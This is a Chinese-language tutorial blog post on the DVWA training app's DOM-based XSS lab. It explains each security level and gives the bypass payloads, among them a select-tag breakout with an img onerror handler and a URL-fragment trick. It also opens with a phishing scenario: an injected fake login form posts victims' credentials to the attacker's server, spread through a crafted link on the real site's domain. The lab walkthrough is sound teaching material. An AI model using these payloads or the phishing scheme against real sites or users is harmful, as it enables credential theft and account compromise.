前言:继《XSS漏洞》
前一篇中解释了什么是反射型XSS,然后有了一个问题,反射型XSS有什么用呢?只是用来自娱自乐,别人又看不到。
emmm,其实不尽然也。
举个例子:
<form action="xxx.php" method="get">
<p>username: <input type="text" name="fname" /></p>
<p>password: <input type="text" name="lname" /></p>
<input type="submit" value="login" />
</form>
这段html看的懂吗?没错,就是一个表单。如果你将它进行注入,如何?
注入:
页面就会被你篡改掉。(上图很丑,你可以设计的漂亮一些。)
这个时候,你只需要把现在的url(只是例子,并没有对其进行url编码):
http://domainname/DVWA-master/vulnerabilities/xss_r/?name=<form+action%3D"xxx.php"+method%3D"get">+++<p>username%3A+<input+type%3D"text"+name%3D"fname"+%2F><%2Fp>+++<p>password%3A+<input+type%3D"text"+name%3D"lname"+%2F><%2Fp>+++<input+type%3D"submit"+value%3D"login"+%2F>+<%2Fform>#
发给你的“盆友”,然后告诉他,官网搞活动,登录有礼包。
你那位睿智的“朋友”就会输入用户名密码点登陆。如果你在form表单中的action填写的是你自己服务器上的某个脚本文件,他的用户名和密码就会提交到你的服务器上,你只需要编写存储功能,让服务器将每一个请求的数据保存进数据库里。过一段时间,你去数据库里取东西就完了。
不然,你以为“钓鱼”是怎么掉的?是因为“鱼”太蠢吗。
鱼表示很无辜,明明网址的域名都是官网的域名,我怎么就知道网页是假的呢?
说完一堆有的没的,进入正题。我们先来说DOM型,什么是DOM。
DOM是HTML文档的编程接口,HTML DOM 定义了访问和操作 HTML 文档的标准方法,且以树的结构表达HTML。
这里我截个“菜鸟”的图:
想深入了解可以去学习:https://www.runoob.com/htmldom/htmldom-tutorial.html
通过HTML DOM,树中的所有节点均可通过javascript进行访问。即所有元素均可以被修改,甚至是创建和删除。
这里有一点需要注意,DOM型不需要依赖服务器端响应。不像反射型,有一段服务器的处理代码。
拿例子说话吧?
DVWA DOM型XSS测试:
这个界面整的人一头雾水,我们看到下拉菜单有几个可选内容:
当选择一个进行select时,url改变了:
多了一个default参数,而参数值就是所选内容。这时你就应该条件反射一般对这个参数进行修改:
下拉菜单中竟然出现了它没有的东西。吼~,有趣。
打开源码查看,进行英语阅读,找到主干内容:
<div class="vulnerable_code_area">
<p>Please choose a language:</p>
<form name="XSS" method="GET">
<select name="default">
<script>
if (document.location.href.indexOf("default=") >= 0) {
var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
document.write("<option value='" + lang + "'>" + decodeURI(lang) + "</option>");
document.write("<option value='' disabled='disabled'>----</option>");
}
document.write("<option value='English'>English</option>");
document.write("<option value='French'>French</option>");
document.write("<option value='Spanish'>Spanish</option>");
document.write("<option value='German'>German</option>");
</script>
</select>
<input type="submit" value="Select" />
</form>
</div>
我们看到脚本中多处使用的document.什么什么,就是前面我们说到的是由DOM对每个节点进行操作。
document.location.href获取此窗口的url,然后从中拿出default的参数值,赋值给lang变量。
而document.write方法可向文档写入HTML表达式或 JavaScript 代码,上面的例子显然是写入一个<option>,这就是为什么我们可以通过修改url让下拉菜单中出现了本来不存在的选项。
这就是对DOM的利用了。
注入脚本之前,我们需要了解一个东西,看源码中的select标签。来写个简单的例子:
<select>
<option value ="one">one</option>
<option value ="two">two</option>
<option value="three">three</option>
<option value="four">four</option>
</select>
将其保存为html,点击运行:
就会出现这么一个选择框,而选择框的选项,由一个个的option标签来设计。
回看前面的源码的select:
<select>
<script>
......
</script>
</select>
结构是这个样子的,select标签中执行一段代码,而这段代码的功能就是动态的往select标签中写option。
比如,当你选择English并点击select时,右键--检查:
本来源码中slect标签中只有一段<script>,当浏览器解析到此处时,就会执行脚本,一条条的把option写出来。
再测试一个例子:我们在select标签里面放个<img>
<select>
<option value ="one">one</option>
<option value ="two">two</option>
<option value="three">three</option>
<option value="four">four</option>
<img src=1 />
</select>
刷新界面,没有什么效果,老样子。如果把img加到外面:
<select>
<option value ="one">one</option>
<option value ="two">two</option>
<option value="three">three</option>
<option value="four">four</option>
<img src=1 />
</select>
<img src=1 />
标签就可以显示了,话句话说,select里面除了option标签之外,其他标签都不会有作用(当然除了脚本外)。
注入脚本:?default=<script>alert("jerk")</script>
毫无作用,不过这不是你的问题,浏览器的问题。大部分浏览器都会禁止XSS,因此XSS输入都会被浏览器过滤掉。所以脚本没有执行。
你可以审查一下元素:
标签是已经插入了的,只不过脚本内容被删掉了(空)。当然浏览器可以关闭XSS的检测,我在网上找了几种方法,没有成功。所以换了个浏览器,你可以使用火狐。我这里使用了MantraPortable,感兴趣的也可以去寻找下,它集成了不少插件,包括hackbar等。
完美执行了。
审查元素:
脚本成功被插入,它是由decodeURL那个函数生成的。
如何限制你执行脚本?过滤“<script”字符串。(Medium)
<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
$default = $_GET['default'];
# Do not allow script tags
if (stripos ($default, "<script") !== false) {
header ("location: ?default=English");
exit;
}
}
?>
如上,发现url中存在"<script"字符串,向客户端发送header,强制为Engllish,覆盖掉你的修改。
老样子,换其他标签<img><body>。
但是执行后没什么用。Why?查看源码:
option标签的value属性是成功写入了,但是并没有在option标签之间显示。
如果你还记得前面做的实验,就知道为什么了。因为select标签中只能有option标签(当然script除外),而option标签里放其他标签也是显示不出来。怎么解决呢?
其实,测试中我们已经做了,把img放到select外面就好了。如何放外面呢?提前闭合select标签:
构造 default=</select><img src=1 οnerrοr=alert("jerk")>
没看明白?没关系,查看当前源码:
<form name="XSS" method="GET">
<select name="default">
<script>
if (document.location.href.indexOf("default=") >= 0) {
var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
document.write("<option value='" + lang + "'>" + decodeURI(lang) + "</option>");
document.write("<option value='' disabled='disabled'>----</option>");
}
document.write("<option value='English'>English</option>");
document.write("<option value='French'>French</option>");
document.write("<option value='Spanish'>Spanish</option>");
document.write("<option value='German'>German</option>");
</script><option value="%3C/select%3E%3Cimg%20src=1%20onerror=alert(%22jerk%22)%3E"></option></select><img src="1" onerror="alert("jerk")"><option value="" disabled="disabled">----</option><option value="English">English</option><option value="French">French</option><option value="Spanish">Spanish</option><option value="German">German</option>
<input value="Select" type="submit">
</form>
脚本的功能会使输入会出现在<option></option>之间,如果我们的输入中有</select>,那select标签就会被提前闭合掉。而原本文档中有的那个</script>就会被作废(我们前面有说,可以没有后标签,但是不能没有前标签)。select标签闭合后,我们输入的<img>就脱离出了select标签,也就可以显示了。
至于脚本后面生成的几个option,因为select提前闭合的缘故,也就不会写进选择框里,而是直接当文本输出了:
安全等级换为high。
怎么让你连修改都修改不了呢?后台是这么干的:
<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
# White list the allowable languages
switch ($_GET['default']) {
case "French":
case "English":
case "German":
case "Spanish":
# ok
break;
default:
header ("location: ?default=English");
exit;
}
}
?>
用switch开关设置白名单限制你,如果你输入的参数不属于case,就执行default选择English,这时无论你怎样修改default参数(可选项之外的),都是English。
处理办法是什么呢?就是,不要把你不符合switch的输入传递给服务器。哈?这能做到吗?
可以,我们需要回谈一个符号“#”。
两篇不错的解释文章。
https://blog.csdn.net/u011600592/article/details/82730989
https://www.cnblogs.com/aaronhoo/p/5803357.html
如果你在html文章中写入这么一段话<a href="#"></a>,当你点击页面这个超链接的时候,窗口就会返回到顶端。如果是<a href="#haha"></a>,当你点击这个超链接,视角就会移动到此页面中一个name属性为“haha”的标签上(如果有的话)。
#是页面的定位符,至于名字的由来,解释就是上面那段话了。url中的#还有一个特性,就是#之后的字符会被忽略,不会发送到服务器。
例如url: http://jrek.com/index.html?default=english#haha。
服务器只会接收到english,当服务器将页面返回给浏览器,定位haha功能是浏览器要做的。
Now!构建XSS:/?default=English#<script>alert("jerk")</script>
但是并没有反应。
重新加载页面:
出来了。
至于这里为什么需要重新加载一下才会显示,问题先留在这里。(清楚原理的,请在下方评论指出。)
(
后记:
)
还有一个impossible等级,后台给了这么一段话:
<?php
# Don't need to do anything, protction handled on the client side
?>
这也可以看出,预防DOM型XSS,主要是在前端搞定,毕竟它主要利用的是js。
我们查看源码:
<form name="XSS" method="GET">
<select name="default">
<script>
if (document.location.href.indexOf("default=") >= 0) {
var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
document.write("<option value='" + lang + "'>" + (lang) + "</option>");
document.write("<option value='' disabled='disabled'>----</option>");
}
document.write("<option value='English'>English</option>");
document.write("<option value='French'>French</option>");
document.write("<option value='Spanish'>Spanish</option>");
document.write("<option value='German'>German</option>");
</script>
</select>
<input type="submit" value="Select" />
</form>
有看出哪里有区别吗?document.write("<option value='" + lang + "'>" + (lang) + "</option>");
标签之间的lang变量不在进行decodeURL了。
url只能通过ASCII码字符集进行发送,我们知道ASCII码字符集并不能涵盖所有的输入字符,比如<>,再比如汉字等等。那对于ASCII码以外字符集的传送,要怎么办呢?
就是在发送之前先对url进行编码,到了服务器在decode回来,就能接受到原来输入的参数了。
例子中option中的value属性的值,就是我们输入的参数被编码后的结果。
<option value="%3Cscript%3E">%3Cscript%3E</option><option value="" disabled="disabled">----</option>
<>被编码成了%3C和%3E。
如果让你单用ASCII码字符集写脚本,那是不可理喻,也是不太现实的,好吧。